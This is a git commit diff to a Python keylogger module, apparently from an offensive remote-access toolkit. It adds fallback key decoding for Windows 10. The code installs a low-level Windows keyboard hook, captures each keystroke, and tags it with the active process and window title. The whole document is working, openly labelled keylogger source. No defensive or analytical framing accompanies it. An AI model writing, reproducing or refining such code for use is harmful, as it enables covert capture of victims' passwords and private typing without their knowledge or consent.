keylogger: use alternative and basic key decoding in case ToUnicodeEx fail (happens often on win10)

This commit is contained in:
n1nj4sec 2016-07-28 22:57:48 +02:00
parent 0f2554325f
commit c2c7eed1fc
1 changed files with 41 additions and 21 deletions

View File

@ -15,7 +15,7 @@
#coding: utf-8 #coding: utf-8
import sys import sys
from ctypes import * from ctypes import *
from ctypes.wintypes import MSG, DWORD, HINSTANCE, HHOOK, WPARAM, LPARAM, BOOL, LPCWSTR, HMODULE from ctypes.wintypes import *
import threading import threading
import time import time
import datetime import datetime
@ -23,26 +23,22 @@ import platform
import os import os
# Base windows types # Base windows types
BYTE = c_ubyte #LRESULT = c_int64 if platform.architecture()[0] == "64bit" else c_long
WORD = c_ushort #WPARAM = c_uint
DWORD = c_ulong #LPARAM = c_long
WCHAR = c_wchar ULONG_PTR = WPARAM
LRESULT = c_int64 if platform.architecture()[0] == "64bit" else c_long LRESULT = LPARAM
WPARAM = c_uint LPMSG = POINTER(MSG)
LPARAM = c_long
HANDLE = c_void_p HANDLE = c_void_p
HHOOK = HANDLE HHOOK = HANDLE
HKL = HANDLE HKL = HANDLE
ULONG_PTR = WPARAM
HOOKPROC = WINFUNCTYPE(LRESULT, c_int, WPARAM, LPARAM) HOOKPROC = WINFUNCTYPE(LRESULT, c_int, WPARAM, LPARAM)
user32 = windll.user32 user32 = windll.user32
kernel32 = windll.kernel32 kernel32 = windll.kernel32
#some windows function defines :
GetModuleHandleW = kernel32.GetModuleHandleW
GetModuleHandleW.restype = HMODULE
GetModuleHandleW.argtypes = [LPCWSTR]
# Base constans # Base constans
# https://msdn.microsoft.com/en-us/library/windows/desktop/dd375731(v=vs.85).aspx # https://msdn.microsoft.com/en-us/library/windows/desktop/dd375731(v=vs.85).aspx
WM_KEYDOWN = 0x0100 WM_KEYDOWN = 0x0100
@ -58,18 +54,35 @@ VK_RMENU = 0xA5 # ALT+GR key
VK_RETURN = 0x0D # ENTER key VK_RETURN = 0x0D # ENTER key
VK_ESCAPE = 0x1B VK_ESCAPE = 0x1B
# Base Win API #some windows function defines :
GetModuleHandleW = kernel32.GetModuleHandleW
GetModuleHandleW.restype = HMODULE
GetModuleHandleW.argtypes = [LPCWSTR]
SetWindowsHookEx = user32.SetWindowsHookExW SetWindowsHookEx = user32.SetWindowsHookExW
SetWindowsHookEx.argtypes = (c_int, HOOKPROC, HINSTANCE, DWORD) SetWindowsHookEx.argtypes = (c_int, HOOKPROC, HINSTANCE, DWORD)
SetWindowsHookEx.restype = HHOOK SetWindowsHookEx.restype = HHOOK
UnhookWindowsHookEx = user32.UnhookWindowsHookEx UnhookWindowsHookEx = user32.UnhookWindowsHookEx
CallNextHookEx = user32.CallNextHookEx CallNextHookEx = user32.CallNextHookEx
GetMessage = user32.GetMessageW GetMessageW = user32.GetMessageW
GetKeyboardState = user32.GetKeyboardState GetKeyboardState = user32.GetKeyboardState
GetKeyboardLayout = user32.GetKeyboardLayout GetKeyboardLayout = user32.GetKeyboardLayout
ToUnicodeEx = user32.ToUnicodeEx ToUnicodeEx = user32.ToUnicodeEx
CallNextHookEx.restype = LRESULT
CallNextHookEx.argtypes = (HHOOK, # _In_opt_ hhk
c_int, # _In_ nCode
WPARAM, # _In_ wParam
LPARAM) # _In_ lParam
GetMessageW.argtypes = (LPMSG, # _Out_ lpMsg
HWND, # _In_opt_ hWnd
UINT, # _In_ wMsgFilterMin
UINT) # _In_ wMsgFilterMax
# Macros # Macros
LOWORD = lambda x: x & 0xffff LOWORD = lambda x: x & 0xffff
@ -80,7 +93,7 @@ class KBDLLHOOKSTRUCT(Structure):
('scanCode', DWORD), ('scanCode', DWORD),
('flags', DWORD), ('flags', DWORD),
('time', DWORD), ('time', DWORD),
('dwExtraInfo', POINTER(c_ulong)) ('dwExtraInfo', ULONG_PTR)
] ]
# Function prototypes # Function prototypes
@ -127,7 +140,7 @@ class KeyLogger(threading.Thread):
def run(self): def run(self):
self.install_hook() self.install_hook()
msg = MSG() msg = MSG()
windll.user32.GetMessageA(byref(msg),0,0,0) GetMessageW(byref(msg),0,0,0)
while not self.stopped: while not self.stopped:
time.sleep(1) time.sleep(1)
self.uninstall_hook() self.uninstall_hook()
@ -155,7 +168,6 @@ class KeyLogger(threading.Thread):
self.hooked = None self.hooked = None
def hook_proc(self, nCode, wParam, lParam): def hook_proc(self, nCode, wParam, lParam):
# The keylogger callback # The keylogger callback
if LOWORD(wParam) != WM_KEYDOWN and LOWORD(wParam) != WM_SYSKEYDOWN: if LOWORD(wParam) != WM_KEYDOWN and LOWORD(wParam) != WM_SYSKEYDOWN:
return CallNextHookEx(self.hooked, nCode, wParam, lParam) return CallNextHookEx(self.hooked, nCode, wParam, lParam)
@ -187,15 +199,23 @@ class KeyLogger(threading.Thread):
elif kbdllhookstruct.vkCode == VK_RETURN: elif kbdllhookstruct.vkCode == VK_RETURN:
specialKey = '[RETURN]' specialKey = '[RETURN]'
# if hooked_key:
hKl = GetKeyboardLayout(0) hKl = GetKeyboardLayout(0)
GetKeyboardState(byref(keyState)) GetKeyboardState(byref(keyState))
ToUnicodeEx(kbdllhookstruct.vkCode, kbdllhookstruct.scanCode, byref(keyState), byref(buff), 256, 0, hKl)
hooked_key = buff.value.encode('utf8') #https://msdn.microsoft.com/en-us/library/windows/desktop/ms646322(v=vs.85).aspx
r=ToUnicodeEx(kbdllhookstruct.vkCode, kbdllhookstruct.scanCode, byref(keyState), byref(buff), 256, 0, hKl)
if r==0: #nothing written to the buffer
try:
hooked_key = chr(kbdllhookstruct.vkCode)
except:
hooked_key = "0x%s"%kbdllhookstruct.vkCode
else:
hooked_key = buff.value.encode('utf8')
if specialKey: if specialKey:
hooked_key = specialKey hooked_key = specialKey
exe, win_title = "unknown", "unknown" exe, win_title = "unknown", "unknown"
try: try:
exe, win_title = get_current_process() exe, win_title = get_current_process()